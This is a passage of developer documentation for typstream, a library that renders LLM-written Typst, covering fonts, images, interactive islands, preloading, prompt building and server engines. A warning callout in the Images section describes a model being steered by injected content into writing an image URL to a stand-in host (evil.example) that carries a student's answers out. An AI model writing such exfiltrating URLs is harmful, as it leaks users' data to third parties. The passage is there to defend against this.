        { "path": "SchoolSans-Italic[wght].ttf", "style": "italic", "weight": [300, 800], "bytes": 431000 }
      ]
    }
  }
}
```

Families are keyed by their name lowercased, which is how Typst compares names, and `name` must be the name in the
font files. Files are TTF or OTF (Typst reads no WOFF); `base` is relative to the index's URL. Unlike `engine.fonts`,
a catalogue works from a document's plugins too: it only names fonts, which the worker loads for itself when a document
asks for one. To show its families in the HTML target, add `googleFontsPreamble` from `@typstream/google-fonts` to your
plugin's preamble and allow the attribute it writes (`sanitize: { allowAttrs: { span: ["data-typstream-font"] } }`).

## Right-to-left text

Set the language, and Typst sets the direction: `#set text(lang: "ar")` for a whole document, `#text(lang: "ar")[…]`
for a passage. `@typstream/edu`'s templates take `lang: "ar"` and do this for you.

**Paged target.** Typst lays out right-to-left text itself. The selectable text layer over each page carries the
page's and each run's `lang` and `dir`, so selecting, copying and screen readers follow the text's direction.

**HTML target.** Typst's HTML export writes the document's language but no direction. The renderer adds it: it sets
`lang` and `dir` on its root element from the document's language, which orders lists and tables right to left.
Within the document, the theme gives paragraphs, list items, headings and table cells `unicode-bidi: plaintext`, so
each takes its direction from its first strong letter: an Arabic paragraph in an English document aligns right, and
the other way round. Standalone HTML exports get `dir="rtl"` on `<html>` the same way.

## Add your own fonts

CJK fonts aren't in the default set (one weight of Noto Serif SC is 11.6 MB), and you may want a brand font. Fonts
are given to the engine as `FontSource`s:

| Shape | Loaded |
|---|---|
| `{ kind: "url", url, info }` | Lazily: registered from `info`, fetched the first time a document uses it. |
| `{ kind: "url", url }` | When the engine starts. |
| `{ kind: "bytes", data }` | When the engine starts. |

`family` and `scripts` (ISO 15924 codes, such as `["Hani"]`) are informational. The URL is fetched by the engine's
worker, so give an absolute URL; under a strict Content-Security-Policy it must be allowed by `connect-src`.

<Callout type="warn" title="Beta">
  `FontSource`, the plugin facet `engine.fonts` and `createEngine`'s `initialize` are `@beta`.
</Callout>

### Compute `info`

`info` is the engine's metadata for the file: Typst's `FontInfo` for each face, as JSON. Compute it once, at build
time, with the version of `@typstream/engine-wasm` your app ships:

```js title="scripts/font-info.mjs"
import { readFileSync } from "node:fs";
import { createRequire } from "node:module";
import { Engine, initSync } from "@typstream/engine-wasm";

const require = createRequire(import.meta.url);
initSync({ module: readFileSync(require.resolve("@typstream/engine-wasm/engine_bg.wasm")) });

const info = Engine.font_info(readFileSync(process.argv[2]));
console.log(`export const info = ${JSON.stringify(info)};`);
```

```bash
node scripts/font-info.mjs public/fonts/NotoSerifSC-Regular.otf > src/noto-serif-sc-info.ts
```

### Give them to the engine

Fonts belong to the engine, not to a document: every document on an engine sees the same fonts. So create an engine
with them and hand it to your components:

```tsx title="app/preview-provider.tsx"
"use client";
import { type ReactNode, useEffect, useState } from "react";
import { createEngine, type Engine, engineWorker, TypstreamProvider } from "typstream";
import { info } from "../src/noto-serif-sc-info";

export function PreviewProvider({ children }: { children: ReactNode }) {
  const [engine, setEngine] = useState<Engine | null>(null);
  useEffect(() => {
    const created = createEngine({
      spawn: engineWorker(),
      initialize: {
        fonts: [
          {
            kind: "url",
            url: new URL("/fonts/NotoSerifSC-Regular.otf", location.origin).href,
            family: "Noto Serif SC",
            scripts: ["Hani"],
            info,
          },
        ],
      },
    });
    setEngine(created);
    return () => created.dispose();
  }, []);
  if (!engine) return null;
  return <TypstreamProvider engine={engine}>{children}</TypstreamProvider>;
}
```

The engine is created in an effect because it starts a Web Worker, which exists only in the browser. Every
`<Typstream>` under the provider uses it.

A plugin can carry fonts too, in `engine.fonts`. They load only when the plugin is passed to
`createEngine({ plugins })`. A plugin given only to a document (the `plugins` prop) can't add fonts to an engine that
is already running: the engine logs a warning (`plugin "…" brings fonts the engine doesn't have`) and the document
compiles without them.

## Fonts on the server

`@typstream/node` loads its fonts from disk when a worker starts. By default it has Typst's bundled set (Libertinus
Serif, New Computer Modern, DejaVu Sans Mono) and the three script fonts, all loaded up front. Add more with
`fontPaths` (directories searched recursively, like `typst --font-path`) or `fonts` (file bytes):

```ts
import { createEngine, render } from "@typstream/node";

const engine = createEngine({ fontPaths: ["/srv/fonts/noto-cjk"] });
const pdf = await render(source, "pdf", { engine });
```

`typstFonts: false` and `scriptFonts: false` leave out the default sets.


# Images

> Show the images a document names, from your own files or the web, and what a document shows for an image it can't have.

Source: https://typstream.vercel.app/docs/guides/images

Typst shows an image with `#image("path")`, and a figure gives it a caption. Typst reads images only from the
document's files, never the network, and a model can only write a path, not an image's bytes. So typstream gives you
two things:

- **A placeholder, always.** An image the document has no file for shows as a box with the file's name. The call's
  `width`, `height`, `fit` and `alt`, and a figure's caption, still apply, so the page keeps its layout.
- **A way to fill images in, if you want it.** A `resolveImage` function gives the bytes for a path: your own uploads,
  or URLs from hosts you allow with `fetchImages`.

```typst
#figure(
  image("https://upload.wikimedia.org/wikipedia/commons/plant-cell.svg", width: 60%),
  caption: [A plant cell],
)
```

Without a `resolveImage`, that is all a document shows, and nothing is fetched.

## Images from your files

When the images are yours (an upload, a diagram the app drew), pass them in `files`, keyed by the path the document
uses:

```tsx
<Typstream source={text} files={{ "diagram.png": diagramBytes }} />
```

Tell the model which names it may use, in your prompt: "the student's photo is `photo.jpg`".

## Images from the web

`fetchImages` downloads the `http(s)` URLs a document names, from the hosts you allow:

```tsx
import { fetchImages, Typstream } from "typstream";

const resolveImage = fetchImages({ hosts: ["upload.wikimedia.org", "*.example.edu"] });

<Typstream source={text} isStreaming={streaming} resolveImage={resolveImage} />;
```

(It comes from `@typstream/engine/images`; `typstream` re-exports it.) As the document streams in, the client finds
each image path once its string is complete. Until the image arrives, the placeholder shows; then the document
compiles again with the image.

- **Hosts are required.** A URL from another host isn't fetched; its placeholder stays, and its diagnostic says the
  host isn't allowed. `"*"` allows any host, but read the next section first.
- **No credentials.** Requests go without cookies or a referrer. The host must allow cross-origin requests, as image
  CDNs usually do.
- **Through your server.** `proxy` fetches another URL instead, with the page's credentials. Your server can then
  cache and resize images, check them, and reach hosts that don't allow cross-origin requests:

  ```ts
  fetchImages({ hosts: ["*"], proxy: (url) => `/api/image?url=${encodeURIComponent(url)}` });
  ```

- **What it accepts.** PNG, JPEG, GIF, WebP and SVG, recognised by their bytes, not their extension, up to `maxBytes`
  (10 MB) and within `timeoutMs` (15 s).
- **Once per URL.** A resolver downloads each URL once for every document that asks, for as long as it lives. Create it
  once, outside your components.

<Callout type="warn" title="An image URL can leak what the model read">
  A model can be steered, through anything it reads, into writing an image URL that carries data to someone else's
  server: `https://evil.example/pixel.png?q=<the student's answers>`. The page fetches it as soon as the string is
  complete. Allow only hosts you trust, or use a proxy that does.
</Callout>

## Your own resolver

`resolveImage` can be any function from a path to bytes. Return `null` to leave the image missing; throw to say why it
failed. It is called once per path and document, and its `signal` aborts when the document goes away:

```tsx
const resolveImage: ImageResolver = async (path, { signal }) => {
  if (path.startsWith("upload:")) {
    const res = await fetch(`/api/uploads/${path.slice(7)}`, { signal });
    if (!res.ok) throw new Error(`HTTP ${res.status}`);
    return new Uint8Array(await res.arrayBuffer());
  }
  return fetchFromWeb(path, { signal });
};
const fetchFromWeb = fetchImages({ hosts: ["upload.wikimedia.org"] });
```

The path is exactly what the document wrote. Paths outside the document (`../x.png`) aren't asked for, and neither are
paths the document's `files` already have.

## Full-width images

An image is as wide as Typst's `width` says: `image("…", width: 100%)` fills the line. To make every image full width
without asking the model, set it in the preamble; a width the model gives a call still wins:

```tsx
<Typstream source={text} preamble="#set image(width: 100%)" resolveImage={resolveImage} />
```

The placeholder follows the same rule, so it is full width too. Heights follow the image's proportions, in both
targets. An image without a `width` is never wider than the element: in the HTML target a larger one shrinks to fit.

## What the document reports

An image the document can't show is still a problem in it, so its diagnostic stays:

| The image | Diagnostic |
| --- | --- |
| is loading | `info`: `image "…" is loading` |
| failed (the resolver threw) | `image "…" failed to load (reason)` |
| has no file, and nothing resolves it | Typst's `file not found (searched at /…)` |

While the document streams, these are `info` diagnostics, like every problem typstream works around. In the finished
document they are errors (except while loading), so a [fix loop](/docs/guides/server-fix-loop) can ask the model for
another image or none.

A path held in a variable (`#let src = "cat.png"`, then `#image(src)`) shows a placeholder too, but isn't resolved:
only strings written in the `image` call are. So is a file that isn't the format its extension says, such as a `.png`
URL that sends a JPEG: Typst then goes by its content.

## See also

- [Security](/docs/guides/security)
- [`@typstream/engine/images`](/docs/reference/engine#typstreamengineimages)
- [Prompting](/docs/guides/prompting)


# Writing an island

> Mount an interactive component over a drawing a Typst function writes, a render island, with the Typst drawing as its fallback for print, PDF and renderers without it.

Source: https://typstream.vercel.app/docs/guides/islands

A **render island** is an interactive component that typstream mounts where a document's Typst marks one. The marker
wraps the island's **fallback**, a drawing in plain Typst: what prints, what `exportPdf()` and standalone HTML contain,
what shows while the component's code loads, and what every renderer without the component shows. Islands are for
teachers and students alike: an interactive mind map in a lesson, a simulation in a handout.
[`@typstream/mindmap`](/docs/reference/mindmap) is one; this guide builds another.

An island has four parts:

1. A **Typst function** that draws the fallback and writes the marker around it, with the data the component needs.
2. The **plugin** that mounts that function and declares the island's name (`islands`), with a `parse` that checks
   the data.
3. A **component** for the name: a React component for `<Typstream islands>`, or a framework-free renderer for
   `mountTypstream`.
4. The **app** pairs them: `plugins={[plugin]}` and `islands={{ name: Component }}`. A marker becomes an island only when
   a loaded plugin declares its name *and* a component is given for it; otherwise the fallback stays.

## The marker

The marker is the island contract. In the **HTML target** it is a `typstream-island` element around the fallback, with
the island's name and its data as JSON. In the **paged target** it is a `metadata` labelled `<typstream-island>` at the
top left of the island's block, whose value has the name, the data and the block's size; the engine finds it in the
laid-out document and sends its page and position with every paged artifact. Copy this function:

```typst
/// Wraps `fallback` in an island marker named `name`, carrying `data` (JSON-encodable). `source` is content the
/// document wrote (the island function's argument), which locates the island in it.
#let _island(name, data, fallback, source: none) = context if target() == "html" {
  html.elem("typstream-island", attrs: (name: name, props: json.encode(data, pretty: false)), html.frame(fallback))
} else {
  layout(size => {
    let height = measure(fallback, width: size.width).height
    block(breakable: false, width: 100%, {
      let value = (name: name, data: data, width: size.width / 1pt, height: height / 1pt, source: source)
      [#metadata(value)<typstream-island>]
      fallback
    })
  })
}
```

- The island covers its marker: the fallback's box in the HTML target, the full-width block in the paged one. Draw a
  fallback the size you want the component to have.
- `data` must survive `json.encode`: strings, numbers, booleans, arrays and dictionaries. Resolve everything the
  component needs (colours, sizes) in Typst, so the two agree.
- `source` is how the engine knows where the island is in the document, which decides `isIncomplete` in the paged
  target: pass the content the document gave your function.
- Follow edu's rule for streaming: every parameter has a default and accepts what a stream cut leaves (`(2` is the
  number 2, `"#16` an unfinished colour). Draw what has arrived; write no marker for nothing.

Here is a counter, `#counter(start: 3)[Push-ups]`: a box with a label and a number, and a component with a button.

```typst
// lib.typ of @acme/counter:0.1.0
#import "island.typ": _island

/// A number readers can count up from.
#let counter(start: 0, ..label) = {
  let start = if type(start) == int { start } else { 0 }
  let label = label.pos().join()
  _island("counter", (start: start), box(stroke: 1pt, inset: 8pt)[#label: #start], source: label)
}
```

## The plugin

```ts
import { definePlugin, type IslandSpec } from "@typstream/core";

interface CounterData {
  start: number;
}

export const counterIsland: IslandSpec<CounterData> = {
  description: "A number readers can count up from.",
  // The data is untrusted: the document wrote it. Return undefined to keep the fallback.
  parse: (data) => {
    const start = (data as { start?: unknown } | null)?.start;
    return typeof start === "number" && Number.isSafeInteger(start) ? { start } : undefined;
  },
};

export const counter = definePlugin({
  key: "acme/counter",
  engine: { files: FILES, preamble: '#import "@acme/counter:0.1.0": counter\n' },
  prompt: { catalogue: CATALOGUE, rules: ["Use `#counter(start: n)` when the reader should count."] },
  islands: { counter: counterIsland as IslandSpec },
});
```

`IslandSpec` and the island types are beta.

## The component

### React

A component gets `IslandProps`: the parsed `data`, `isIncomplete`, the `target` it shows in, its `index` among the
document's islands of its name, and `file(path)`, the bytes of a file the document has (its own, and the images its
`resolveImage` resolved).

```tsx
import type { IslandProps } from "@typstream/core";
import { useState } from "react";

export function Counter({ data, isIncomplete }: IslandProps<CounterData>) {
  const [count, setCount] = useState(data.start);
  return (
    <div className="acme-counter">
      <button type="button" disabled={isIncomplete} onClick={() => setCount((c) => c + 1)}>
        Count: {count}
      </button>
    </div>
  );
}
```

```tsx
<Typstream source={text} plugins={[counter]} islands={{ counter: Counter }} />
```

The component renders through a portal into a host element over the marker, so it is part of your app's tree:
context, StrictMode and Suspense reach it. While a document streams, a marker's block is re-created at every token; the
host stays, so the component is mounted once and receives new props. An island that throws is unmounted by its error
boundary, and its fallback shows again. Load heavy code lazily (`React.lazy`): the fallback stays visible until the
component paints.

### Without a framework

`mountTypstream`, `createHtmlRenderer` and `createPagedView` (and `mountPaged`) take renderers, functions that mount
into the host and return `update` and `destroy`:

```ts
import { mountTypstream, type IslandRenderer } from "@typstream/dom";

const counterRenderer: IslandRenderer = (host, props) => {
  const button = document.createElement("button");
  let count = (props.data as CounterData).start;
  button.textContent = `Count: ${count}`;
  button.onclick = () => (button.textContent = `Count: ${++count}`);
  host.append(button);
  return {
    update: (next) => (button.disabled = next.isIncomplete),
    destroy: () => button.remove(),
  };
};

mountTypstream(element, { engine, source, plugins: [counter], islands: { counter: counterRenderer } });
```

Keep the `islands` object the same between updates: a new one mounts every island again.

## Styling

- **Paint your own background.** The host is positioned over the fallback, which keeps its box (nothing moves when the
  island mounts) and is hidden once the host has content; until then, while your code loads, it shows. `background: var(--typstream-island-background, Canvas)` matches the page; the paged view sets
  white, the paper, and paints it under a host with content (the fallback is on the page's canvas there, so it can't
  be hidden, only covered).
- **The document's element rules reach in.** The HTML renderer styles elements with zero specificity
  (`:where(.typstream) svg { max-width: 100% }`), so any class rule of yours overrides them; reset what you need.
- **Ship CSS as constructable stylesheets** (`new CSSStyleSheet()`, `adoptedStyleSheets` on the host's root node), or
  through `stylesheets` on the mount: no `<style>` element, so a strict CSP needs nothing more.
- **Print** hides islands and shows their fallbacks. So do exports: PDF, DOCX and standalone HTML are compiled from
  the document, where the island is its fallback.

## Security

Treat `data` as untrusted: the document wrote it, and a model wrote the document.

- Check it in `parse`. Render it as text (React escapes it); never as HTML or as a URL you load.
- A marker's JSON is capped at 64 KB and a document mounts at most 50 islands; past either, fallbacks stay.
- An island fetches nothing the document names. Images and files come from `file(path)`, the same bytes Typst drew,
  which only your app's `resolveImage` downloads.
- Only names a loaded plugin declares mount, so a document can't mount a component your app didn't pair with its plugin.

## Accessibility

When an island mounts, its fallback is `aria-hidden`: assistive technology reads the island. On pages, that is the
text layer's text under the island. Give it a name (a `figure` with `aria-label`, say), keep its controls reachable by
keyboard, and set `aria-busy` while `isIncomplete`.

## The paged target

The engine reports each marker's page, position and size (`PagedArtifact.islands`, the whole list with every paged
artifact), and the paged view mounts each island in a box over its page (`.typstream-island-box`, in a
`.typstream-islands` layer above the page's text layer and links). The box is as big as the marker's block: the
column's width and the fallback's height. Boxes are positioned in units of the page's width (`cqw`), so they follow the
page's scale (`fixed`, `fit-width`) with no script, and a page redrawn as the document streams leaves them be. An island
that moves, further down its page or onto the next one, keeps its host: the component isn't mounted again.

- **The page itself is Typst's drawing.** Islands are elements over the page's canvas (or SVG), never painted into it,
  so the canvas is what prints and what PDF and DOCX exports contain, and checks that compare pages with the PDF
  pixel by pixel (the browser suites' preview-vs-PDF check, plugins' paged conformance) compare the fallback.
- **`isIncomplete`** comes from the marker's `source` against heal's stable offset, as in the HTML target: while the
  document streams, an island whose source starts at or after it is still being written.
- **Text under an island** (the fallback's labels in the text layer) is `aria-hidden` while the island is mounted, and
  can't be selected through it.
- In the DOM, a page's islands come after its text layer, so a screen reader meets them at the end of their page.


# Preloading the engine

> Download and start the Typst engine before the first document appears, so it renders at once instead of waiting for the wasm and fonts.

Source: https://typstream.vercel.app/docs/guides/preloading

The engine is Typst compiled to wasm: about 6 MB of wasm and 1.4 MB of fonts (brotli), which a browser downloads,
compiles and loads before the first document can render. That's about 3 seconds at 20 Mbps the first time. Later
visits take them from the browser's caches until the next release. Even from the caches, the worker still has to
compile the wasm, parse the fonts and lay out its first document cold: a few hundred milliseconds.

Most apps show a document only after something else: the user fills in a form, a model spends seconds writing. That
time can hide the wait. Start the engine when a document becomes likely, and the first `<Typstream>` finds it ready.

## In React

Call `preloadTypstream()` when a document is likely soon:

```tsx
import { preloadTypstream } from "typstream"; // or "@typstream/react"
import { edu } from "@typstream/edu";

function GenerateButton() {
  return (
    <button
      onClick={() => {
        preloadTypstream({ plugins: [edu] }); // while the model writes
        generate();
      }}
    >
      Generate
    </button>
  );
}
```

It starts the page's shared engine (the one every `<Typstream>` without an `engine` uses) and runs warm-up compiles
with the plugins you name. Then it keeps the engine for a minute (`holdMs`). A `<Typstream>` that mounts in that
time renders on the warm engine and keeps it for as long as it needs it.

Or, from a component, `usePreloadTypstream(when, options)` keeps the engine warm while the component is mounted and
`when` is true. Use it for the screen that leads to the page view, such as a multi-step form or a dialog:

```tsx
import { usePreloadTypstream } from "typstream";

function GenerateDialog({ open }: { open: boolean }) {
  usePreloadTypstream(open, { plugins: [edu] });
  // …
}
```

`typstream`'s versions also warm the plugins its `<Typstream>` adds (html-compat and universe). Pass the same
`plugins` as your `<Typstream>`s, so their packages and modules are among what gets warmed.

## Two levels

| `level` | What it does | What it costs while no document shows |
| --- | --- | --- |
| `"engine"` (default) | Starts the worker, compiles the wasm, loads the fonts, runs warm-up compiles with your plugins. The first document renders at once. | One worker: tens of MB of memory, until `holdMs` passes or `release()`. |
| `"fetch"` | Downloads the wasm and base fonts into the browser's caches. No worker. | Nothing: the files wait on disk. |

Use `"engine"` when a document is likely within seconds or minutes, such as during a generation or on the last step
of a form. Use `"fetch"` early, for example at app start, when a document may come later or not at all: on the next
visit, or a few screens from now, the engine starts from the caches instead of the network.

```tsx
// At app start: cheap, safe whether or not the user ever reaches a document.
preloadTypstream({ level: "fetch" });
```

## What a warm-up loads

`engine.preload()` (which `preloadTypstream` calls) compiles throwaway documents in the worker and closes them:

- A short sample with headings, bold and italic, code and math in each target (`targets`, default HTML and pages).
  This compiles the wasm, parses the base fonts and runs the first, cold layout.
- The first prompt example of each plugin in `plugins`, in the first target. This loads what the plugin brings: its
  Typst packages, fixer and generator modules (Mermaid's diagram generator, for instance) and fonts.

All of that belongs to the worker, not the document, so it stays for the real documents that follow. To warm
something specific, such as a package your documents always import or a font they set, pass a `text` like your
documents instead:

```ts
preloadTypstream({ text: '#import "@preview/cetz:0.5.3"\n#set text(font: "Noto Naskh Arabic")\nمرحبا' });
```

## Without React

Create the engine early: creating it starts the worker, which downloads and compiles the wasm and loads the base
fonts. Then warm it with your plugins, and pass it to `mountTypstream` when the document comes.

```ts
import { createEngine, engineWorker } from "@typstream/engine";

const engine = createEngine({ spawn: engineWorker() });
void engine.preload({ plugins: [edu] });
// later
mountTypstream(element, { engine, plugins: [edu], source });
```

`prefetchEngine()` from `@typstream/engine/prefetch` is the `"fetch"` level: it downloads the files without starting
a worker.

## Caching

The fonts go into Cache Storage (`typstream-fonts`), which the worker reads first, so they download once whatever
your server sends. The wasm goes through the HTTP cache. Bundlers emit it with a content hash in its name; serve such
files with a long `Cache-Control` (most hosts do for hashed assets), or every visit downloads it again. See
[Self-hosting the engine](/docs/guides/self-hosting).

## See also

- [`preloadTypstream`](/docs/reference/react#preloadtypstream) and
  [`usePreloadTypstream`](/docs/reference/react#usepreloadtypstream)
- [`engine.preload()`](/docs/reference/engine#preloadoptions) and
  [`prefetchEngine`](/docs/reference/engine#typstreamengineprefetch)
- [The engine](/docs/concepts/engine)


# Prompting the model

> How to get Typst that compiles from an LLM, with @typstream/edu's buildSystemPrompt or a short hand-written prompt.

Source: https://typstream.vercel.app/docs/guides/prompting

typstream renders whatever the model writes, and heals what a stream cut leaves open. It can't make a wrong
document right. The system prompt is where you get documents that compile, and with the right one most models
write valid Typst almost every time.

## Why the prompt matters

Models have read far more Markdown than Typst. Left to themselves they write `## Heading`, `**bold**` and code fences,
put a lone `$^2$` after a unit, or write a price as `$5`, which opens math in Typst. Most compile errors in real model
output are habits like these, not gaps in the model's knowledge of Typst.

typstream's prompt kit was tuned on real streams: 29 teachers' requests (worksheets, quizzes, exams in English,
Arabic and Bengali), sent to Claude Sonnet and Claude Haiku and compiled the way typstream compiles a finished
document. Each rule in it targets an error class those runs produced. With the current kit:

| Model | Documents with a compile error (final mode) |
|---|---|
| Claude Sonnet | 0 of 29 |
| Claude Haiku | 3.4% (4 of 116) |

A naive prompt that only says "write Typst, no Markdown" left about 10% of documents with errors. The remaining
errors are one-offs, which healing, the engine's fixers and a [server fix loop](/docs/guides/server-fix-loop) handle.

To have a model change a document it has written, rather than write a new one, add `@typstream/ai`'s `editPrompt()`
after the kit: [Streaming edits](/docs/guides/streaming-edits).

## The prompt kit: `buildSystemPrompt`

<Callout type="warn" title="Beta">
  `buildSystemPrompt`, `SystemPromptOptions` and `typstPromptRules` are `@beta`: their output may change between
  releases as the kit is re-measured.
</Callout>

`@typstream/edu` builds a system prompt from the plugins your app renders with:

```npm
npm install typstream @typstream/edu @typstream/universe
```

```ts title="app/api/chat/route.ts"
import { anthropic } from "@ai-sdk/anthropic";
import { buildSystemPrompt, edu } from "@typstream/edu";
import { convertToModelMessages, streamText, type UIMessage } from "ai";
import { universe } from "@typstream/universe";

// Computed once: the same plugins always give the same prompt.
const SYSTEM = buildSystemPrompt([edu, universe]);

export async function POST(request: Request) {
  const { messages }: { messages: UIMessage[] } = await request.json();
  const result = streamText({
    model: anthropic("claude-sonnet-5-5"),
    instructions: SYSTEM,
    messages: await convertToModelMessages(messages),
  });
  return result.toUIMessageStreamResponse();
}
```

Import `universe` from `@typstream/universe` in server code: `typstream` is a client-side React package. On the
client, render with the same plugins, so the model is told about exactly what the engine can compile:

```tsx
import { isStreaming, textOf } from "@typstream/ai";
import { edu } from "@typstream/edu";
import { Typstream } from "typstream";

// typstream adds the universe plugin by default; edu you add yourself.
<Typstream source={textOf(message)} isStreaming={isStreaming(message, chat)} plugins={[edu]} />;
```

If you turn packages off on the client (`packages={false}`), leave `universe` out of `buildSystemPrompt` too, or the
model will import packages the engine refuses.

### What it assembles

`buildSystemPrompt(plugins, options?)` returns one string, in this order:

1. A fixed introduction: the model writes documents for teachers in Typst 0.15, and they are rendered as it writes.
2. `## Typst`: `typstPromptRules`, the Typst habits models get wrong whatever the vocabulary (below).
3. For each plugin, in the order given, its `prompt` facet: `## Rules (key)` with its rules, then
   `## Functions (key)` with its catalogue, one entry per function (signature, description, example).
4. `## Examples`: every plugin's few-shot documents, each wrapped in `<example>`, with the request it answers.

With `[edu, universe]` that's edu's rules and catalogue (generated from the doc comments of its Typst functions, so
it can't drift from what the engine mounts), the list of packages documents may import, and four complete example
documents (English, chemistry, Arabic, Bengali). It comes to about 19,000 characters; the measured runs counted
about 8,400 tokens.

The output is deterministic for the same plugins, so it works with your provider's prompt caching: put it first and
mark it cacheable, and only the first request of a cache window pays for it in full.

The introduction is written for teachers' documents. For another domain, write your own prompt (see
[Without the kit](#without-the-kit)) and reuse the parts you want.

### The Typst rules

`typstPromptRules` (exported from `@typstream/edu`) is the first group of the prompt. Each rule targets a measured
error class:

- Reply with the Typst document only: no code fence around it, nothing before or after it.
- This is Typst, not Markdown: `= Heading`, `*bold*`, `_italic_`, `- item`, `+ numbered item`,
  `#link("https://…")[text]`. `*` and `_` only work around whole words.
- A superscript or subscript needs its base inside the same `$…$`: `$9.8 "m/s"^2$`, not `m/s$^2$`. Chemistry goes
  through `#ce`.
- In math, a name of two or more letters is a variable or symbol: use `<=`, `times`, `dot`; space single letters
  (`$2 x y$`); quote words and units.
- Text and math passed to a function are content, in brackets: `f([$6$ cm], [Name])`.
- Escape what you mean literally: `\$` (money), `\#`, `\@` (emails), `\*`, `\_`, and a `/` that would start a term
  list.

The exported array holds the exact wording.

### Options

| Option | Type | Default | Effect |
|---|---|---|---|
| `examples` | `boolean` | `true` | Include the plugins' few-shot examples. Leaving them out saves about a fifth of the prompt. |
| `typstRules` | `readonly string[]` | `typstPromptRules` | Replaces the Typst rules group. |

```ts
import { buildSystemPrompt, edu, typstPromptRules } from "@typstream/edu";
import { universe } from "@typstream/universe";

const system = buildSystemPrompt([edu, universe], {
  examples: false,
  typstRules: [...typstPromptRules, "Write British spelling."],
});
```

The rules were chosen by measuring. Adding rules is cheap to try, but each one costs tokens on every request, and
removing one brings its error class back.

### Templates chosen by the app

edu's rules tell the model to start with a template line such as `#show: quiz.with(title: […])`. If your app applies
the template itself through the `template` prop (see [Worksheets, quizzes and answer keys](/docs/guides/edu-documents#templates)),
tell the model not to write one, for example by appending an instruction to the prompt. A template applied twice
renders its header twice.

## Your own vocabulary: the `prompt` facet

Any [plugin](/docs/concepts/plugins) can teach the model its Typst API through its `prompt` facet. `buildSystemPrompt`
reads three fields:

| Field | Type | Becomes |
|---|---|---|
| `rules` | `string[]` | Bullets under `## Rules (key)`. |
| `catalogue` | `FunctionDoc[]` | Entries under `## Functions (key)`: `name`, `signature`, `description` and an optional `example`. |
| `examples` | `PromptExample[]` | Few-shot documents: `output` (the Typst), with an optional `request` (what the user asked) and `title`. |

```ts title="school-plugin.ts"
import { definePlugin } from "@typstream/core";

export const school = definePlugin({
  key: "acme/school",
  engine: {
    preamble: `#let motto = [Learn, then teach.]
#let house-points(house, points) = [*#house*: #points points]`,
  },
  prompt: {
    rules: ["End every worksheet with `#motto`."],
    catalogue: [
      {
        name: "house-points",
        signature: "house-points(house: str, points: int) -> content",
        description: "A line awarding points to a school house.",
        example: '#house-points("Ash", 10)',
      },
    ],
    examples: [
      {
        request: "A one-question spelling check",
        output: "#question(points: 1)[Spell the word for a baby cat: #blank(answer: [kitten])]\n\n#motto",
      },
    ],
  },
});
```

```ts
const system = buildSystemPrompt([edu, universe, school]);
```

Keep the catalogue and the functions in step. edu generates its catalogue from the `///` comments of its Typst
sources for that reason; a hand-written catalogue drifts as soon as a parameter changes.

## Without the kit

If you don't use edu's vocabulary, a short hand-written prompt goes most of the way. This is the one the kit was
measured against (the naive prompt above), with a rule about the page added:

```text
You write educational documents (worksheets, quizzes, handouts) in Typst 0.15 markup.
Reply with the Typst source only: no Markdown, no code fences, no commentary before or after.
- Headings are "= Title", "== Section"; *bold*, _italic_; "- " bullets and "+ " numbered items.
- Math goes between dollar signs: $a^2 + b^2 = c^2$, with a space inside for display math: $ x = 1/2 $.
- Tables: #table(columns: 3, [Header], [Header], [Header], [cell], [cell], [cell]).
- Write a literal dollar sign, hash or at sign as \$, \#, \@.
- Leave room for answers with #v(2em) or #line(length: 100%).
- Leave the page size to the viewer: no paper, width, height or flipped in #set page (margins are fine).
```

The essentials are the same whatever the domain:

- **No Markdown.** Say it explicitly and show Typst's equivalents: `=` headings, single `*` for bold, `-` and `+`
  lists, `#link`.
- **No code fences, no preamble.** The reply is the document. A code fence tagged `typst` or `typ` around the
  whole reply is stripped by healing, but text before or after it is rendered.
- **Escape `$`, `#` and `@`** when they are literal: `\$5`, `\#1`, `name\@school.org`. Unescaped, they open math, code
  and a reference.
- **Name the packages** the document may import, at their exact versions (see [Typst packages](/docs/guides/typst-packages)).
- **Leave the page size to the viewer** if you render pages. Models set their own, often landscape for a wide table
  such as a rubric, or US Letter, and a document's `#set page(paper: …)` takes precedence over the page your
  preamble or template sets (and the `reflow` layout's). Typst has no rule that applies after the document, so only
  the prompt can prevent it.

You can also append `typstPromptRules` to your own prompt: it's a plain array of strings, and it holds the rules that
moved the error rate most.

```ts
import { typstPromptRules } from "@typstream/edu";

const system = `You write product briefs in Typst 0.15 markup.\n\n${typstPromptRules.map((r) => `- ${r}`).join("\n")}`;
```

## The safety net: lint

Whatever the prompt, some slips get through. typstream's healer lints the stream as it settles and fixes the common
ones before they reach the compiler: Markdown headings, bold and links, bare `@` in emails, a `#` that isn't code,
a lone `$^2$` after a unit, stray closing brackets. A `$` that looks like money is reported as a warning rather than
rewritten, since it's often real math. See [Healing](/docs/concepts/healing) for the rules and how to configure them.

Lint is a safety net, not a substitute: a fixed document still isn't what the model meant, and it costs a compile
round. A good prompt makes the net rarely needed. For documents you save, run them through
[the server fix loop](/docs/guides/server-fix-loop), which sends the remaining errors back to the model.


# Running the engine on a server

> Serve typstream's engine protocol over WebSocket with @typstream/node, so browsers render live previews without downloading the 6 MB compiler, and connect the browser client to it.

Source: https://typstream.vercel.app/docs/guides/remote-engine

By default each browser runs Typst itself, in a worker: a 6.2 MB download (brotli) before the first preview. `@typstream/node` can run the engine on your server instead and serve the same protocol over WebSocket. The browser still heals the stream and renders the result; only compiling moves to the server.

Consider it for devices too slow or too constrained for the wasm engine, or for pages that show a document once and don't justify the download. The cost is a round trip per compile and compile time on your servers.

<Callout type="warn" title="Beta">
  The browser client, `fromWebSocket`, is beta and may change before the first stable release. Switching from server previews to the local engine once its download finishes isn't built yet.
</Callout>

## Serve the protocol

```npm
npm install @typstream/node ws
```

```ts title="server.ts"
import { WebSocketServer } from "ws";
import { createProtocolServer, handleWebSocket } from "@typstream/node";

const server = createProtocolServer({ timeouts: { streaming: 3_000, final: 10_000 }, maxDocuments: 32 });

new WebSocketServer({ port: 8080, maxPayload: 8 << 20 }).on("connection", (ws) => handleWebSocket(ws, server));
```

`createProtocolServer` runs `@typstream/engine`'s protocol server, the same code that runs in the browser worker, over an adapter that compiles on `@typstream/node`'s worker pool. `handleWebSocket` attaches one socket to it; anything with `ws`'s `on`, `send` and `close` works.

To share a port with your HTTP server and decide who may connect, handle the upgrade yourself. typstream doesn't authenticate connections:

```ts title="server.ts"
import { createServer } from "node:http";
import { WebSocketServer } from "ws";
import { createEngine, createProtocolServer, handleWebSocket } from "@typstream/node";

const engine = createEngine({ workers: 4 });
const typst = createProtocolServer({ engine });
const wss = new WebSocketServer({ noServer: true, maxPayload: 8 << 20 });

